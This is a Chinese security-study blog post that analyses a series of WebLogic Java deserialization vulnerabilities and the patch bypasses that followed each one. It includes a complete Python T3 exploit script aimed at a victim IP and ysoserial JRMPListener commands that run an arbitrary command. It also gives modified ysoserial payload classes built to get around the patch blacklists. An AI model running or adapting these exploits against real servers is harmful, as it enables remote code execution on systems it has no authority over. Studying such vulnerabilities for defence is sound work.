CVE-2015-4852中三个反序列化的地方进行了黑名单判定:1
2
3weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class而
CVE-2015-4852段 $3$ 用到的AnnotationInvocationHandler类通过InboundMsgAbbrev#readObject反序列化时会调用到ServerChannelInputStream#resolveClass,也就是黑名单的检测所在的位置如图,在
wlserver.server.lib.wlthint3client.jar.weblogic.rjvm.inboundMsgAbbrev中:
这里的思路是:找到一个类将恶意链包裹起来(二次序列化)以通过黑名单检测,随后再将其解开(黑名单检测后的反序列化),再执行恶意链(该类自己的readobject方法二次反序列化)
也就是
wlserver.server.lib.wlthint3client.jar.weblogic.jms.common.StreamMessageImpl类以及其中的External()方法
该方法执行时,反序列化传入的参数并调用参数反序列化后对应类的
readObject方法使用该类的具体原理是:对于原本构造好、需要反序列化来执行的链子,封装进
StreamMessageImpl并对其序列化。反序列化时该类不在黑名单中所以不被过滤,其调用readObject方法时对之前封装的链子再次反序列化测试
用 weblogic_cmd 来测试一下:
扔到
idea里面,配置一下:
应用实参这一行参数可以自己改,
-C后面即是payload由于版本问题,这里用
jdk1.8启动,需要额外配置两个库的位置:

直接断点在
StreamMessageImpl.readExternal:

看眼
var4显然是反序列化的数据
继续跟踪
var5的readObject就能回到熟悉的AnnotationInvocationHandler了
CVE-2016-3510具体原理与上一个一样,只不过这个利用了
weblogic.corba.utils.MarshalledObject类而非StreamMessageImpl来封装链子以绕过黑名单检测调试
还是使用刚刚的
weblogic_cmd,Main这里把Type改成marshall
调试看一下构造过程:


在这里用熟悉的
CC链构造payload,传给serialData,而blindExecutePayloadTransformerChain主要是返回利用链的Transform[]数组内容,所以跟踪serialData
前面还是经典的
Lazy序列化,重点是断点这一行
到
MarshalleObject看下:
var3是一个new的MarshalledObject.MarshalledObjectOutputStream对象:
而这个对象继承了
ObjectOutputStream对象,还调用了父类的构造器super再继续看
MarshalledObject
var1是恶意构造的AnnotationInvocationHandler对象,将其序列化后写入ByteArrayOutputStream对象的var2中,又被写给MarshelledObject对象的this.objBytes中 ,然后对其序列化操作
CVE-2017-3248随着时间推移,
weblogic系列漏洞似乎正在向底层延伸。快进到发展到二进制层面然后彻底学不会原理
不同于上面两种利用其他类恶意链“加壳”的方式绕过黑名单检测,这里找到了一条不在黑名单内的全新反序列化点,利用
JRMP协议执行反序列化JRMP与RMI简述RMI远程方法调用,可以让在某个java虚拟机上的对象像调用本地对象一样调用另一java虚拟机上对象整个过程简述为:客户对象(client)调用客户端辅助对象(stub)上的方法,辅助对象打包变量与方法名发送给服务端辅助对象(skeleton),解包后找到真正的调用对象(server)并调用,得到返回值并原路返回给客户端对象

也就是说,对于客户对象
client来说,其不需知道server的存在,就好像是stub在本地执行了其所需的方法将
stub与skeleton看作是RMIRegister,整个过程中clinet和server与之的参数交流是以序列化字节流的格式传输的,为攻击提供了可能RMI依赖于IP和端口,以及JRMPjava远程信息交换协议,其要求客户端与服务端都使用java对象原理2
利用
RMI让靶机反序列化UnicastRef类,其给恶意服务端发起一个JRMP连接,在DGC层造成一个反序列化,于是可以绕过黑名单过滤
正常情况下在
DGC层,client调用一个远程对象时需要调用server的dirty()函数,此函数给client返回一个lease而在攻击情况下,靶机向攻击者架设的
JRMP Server发起dirty()请求,而此时返回的是序列化后的数据,靶机接收后执行反序列化进而触发漏洞而构造的数据和前几个没什么区别
工具的原理
配置参数如下

JRMPListener,即上图中的JRMP Server其负责对发起
DGC请求的RMI Register返回一个恶意对象供其反序列化
跟进
makePayloadObject

这里一步步跟过去就会发现用的反序列化链子跟
cve-2015-4852一模一样
随后会进入
run()函数持续监听
如果接到了类型为
DGC的请求,则发送payload
JRMPClient,即上图的attacker负责让靶机向
JRMP Listener发起DGC请求
复现
照例
docker启动靶机然后用
ysoserial启动一个JRMP Listener1
java -cp [path-to-ysoserial] ysoserial.exploit.JRMPListener [JRMP port] CommonsCollections1 '[command]'

再用
python2运行一个脚本,其利用ysoserial的JRMP Client模块生成一个gadgets对象,被靶机反序列化后会连接刚架设的JRMP Listener1
python 1.py [docker-ip] [docker-port] [path-to-ysoserial] [JRMPListener-ip] [JRMPListener-port] JRMPClient
值得注意的是,两个脚本可以不在同一台机器上运行,但要保证
py脚本所在虚拟机也有一个ysoserial以便生成payload。这里省事将两个脚本放在同一目录下方便访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82from __future__ import print_function
import binascii
import os
import socket
import sys
import time
def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
#generates ysoserial payload
command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
print("command: " + command)
os.system(command)
bin_file = open('payload.out','rb').read()
return binascii.hexlify(bin_file)
def t3_handshake(sock, server_addr): #T3协议连接,在2015-4852有写到
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
print('handshake successful')
def build_t3_request_object(sock, port):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))
def send_payload_objdata(sock, data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
sock.send(payload.decode('hex'))
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception:
pass
return res
def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(65)
server_addr = (dip, dport)
t3_handshake(sock, server_addr)
build_t3_request_object(sock, dport)
payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
print("payload: " + payload)
rs=send_payload_objdata(sock, payload)
print('response: ' + rs)
print('exploit completed!')
if __name__=="__main__":
#check for args, print usage if incorrect
if len(sys.argv) != 7:
print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
'[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
sys.exit()
dip = sys.argv[1]
dport = int(sys.argv[2])
path_ysoserial = sys.argv[3]
jrmp_listener_ip = sys.argv[4]
jrmp_listener_port = sys.argv[5]
jrmp_client = sys.argv[6]
exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)再回来看
JRMP Listener的监听

调试
版本没调对,调试好几次没东西,放篇文章在这里膜一膜再说
CVE-2018-2628补丁分析
1
2
3
4
5
6
7
8
9
10
11
12
13protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if (intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}其出现于
weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream类,添加了一个resolveProxyClass方法,只要是数据由java.rmi.registry.Registry接口传递过来就直接抛出异常,否则再调用其父类resolveProxyClass进行正常操作思路 $1$
既然只禁了
registry一个接口,那么一个很显然的思路就是用其他的远程接口,比如使用java.rmi.activation.Activator或者java.util.Map只需要修改
ysoserial中的JRMPClient模块即可修改前:

修改为
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51package ysoserial.payloads;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {
public Activator getObject (final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
Activator.class
}, obj);
return proxy;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
PayloadRunner.run(JRMPClient2.class, args);
}
}思路 $2$
删去
JRMPClient中的Proxy部分原因是在
2017-3248中如果顺利调试的话可以看到readobject存有两个分支,对于需要反序列化的对象,如果是动态代理则会进入resolveProxyClass分支,而删去Proxy后则自然不会进入该分支,即绕过了补丁也就是把
Proxy部分删去,再做一些改动即可
CVE-2018-2893补丁分析
1
2
3
4
5
6
7private static final String[]DEFAULT_BLACKLIST_CLASSES = new String[]{
"org.codehaus.groovy.runtime.ConvertedClosure",
"org.codehaus.groovy.runtime.ConversionHandler",
"org.codehaus.groovy.runtime.MethodClosure",
"org.springframework.transaction.support.AbstractPlatformTransactionManager",
"sun.rmi.server.UnicastRef"
};禁掉了
RMI的UnicastRef类关于这个漏洞,网上主流的是采用
cve-2016-0638的streamMessageImpl加上cve-2018-2628的JRMPClient但笔者在找资料时发现了一位佬当时写的文章
这里就不班门弄斧了
CVE-2018-3248补丁分析
1
2
3
4
5
6
7
8
9
10
11private static final String[] DEFAULT_BLACKLIST_PACKAGES =
{ "org.apache.commons.collections.functors",
"com.sun.org.apache.xalan.internal.xsltc.trax",
"javassist", "java.rmi.activation",
"sun.rmi.server" };
private static final String[] DEFAULT_BLACKLIST_CLASSES =
{ "org.codehaus.groovy.runtime.ConvertedClosure",
"org.codehaus.groovy.runtime.ConversionHandler",
"org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject",
"java.rmi.server.RemoteObjectInvocationHandler" };也就是禁止了
1
2
3
4java.rmi.activation.*
sun.rmi.server.*
java.rmi.server.RemoteObjectInvocationHandler
java.rmi.server.UnicastRemoteObject佬告诉我们只需要找到满足以下条件的类即可
- 继承远程类
java.rmi.server.RemoteObject 不在黑名单中
那么有以下类均可
1
2
3
4
5javax.management.remote.rmi.RMIConnectionImpl_Stub
com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
javax.management.remote.rmi.RMIServerImpl_Stub
sun.rmi.registry.RegistryImpl_Stub
sun.rmi.transport.DGCImpl_Stub
- 继承远程类
原理
这里说一下怎么笨笨的找子类:
先写个
import java.rmi.server.remoteObejctInvocationHandler跳转到其.java文件里,然后ctrl+H看到子类信息
然后双击
remoteObject跳转到其.java文件中,再ctrl+H即可看到其所有子类
以
RMIConnectionImpl_Stub为例,右键-图表可以更明显地看出其父类
payload如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42package ysoserial.payloads;
import java.rmi.server.ObjID;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.util.PayloadRunner;
import javax.management.remote.rmi.RMIConnectionImpl_Stub;
( {
"restriction"
} )
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref);
return stub;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
PayloadRunner.run(JRMPClient3.class, args);
}
}
暂时就这么多
安全牛第三章-安全测试实践2.0
- 本文链接: http://noone40404.github.io/anquanniu-ch3-test-practice-2/
- 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!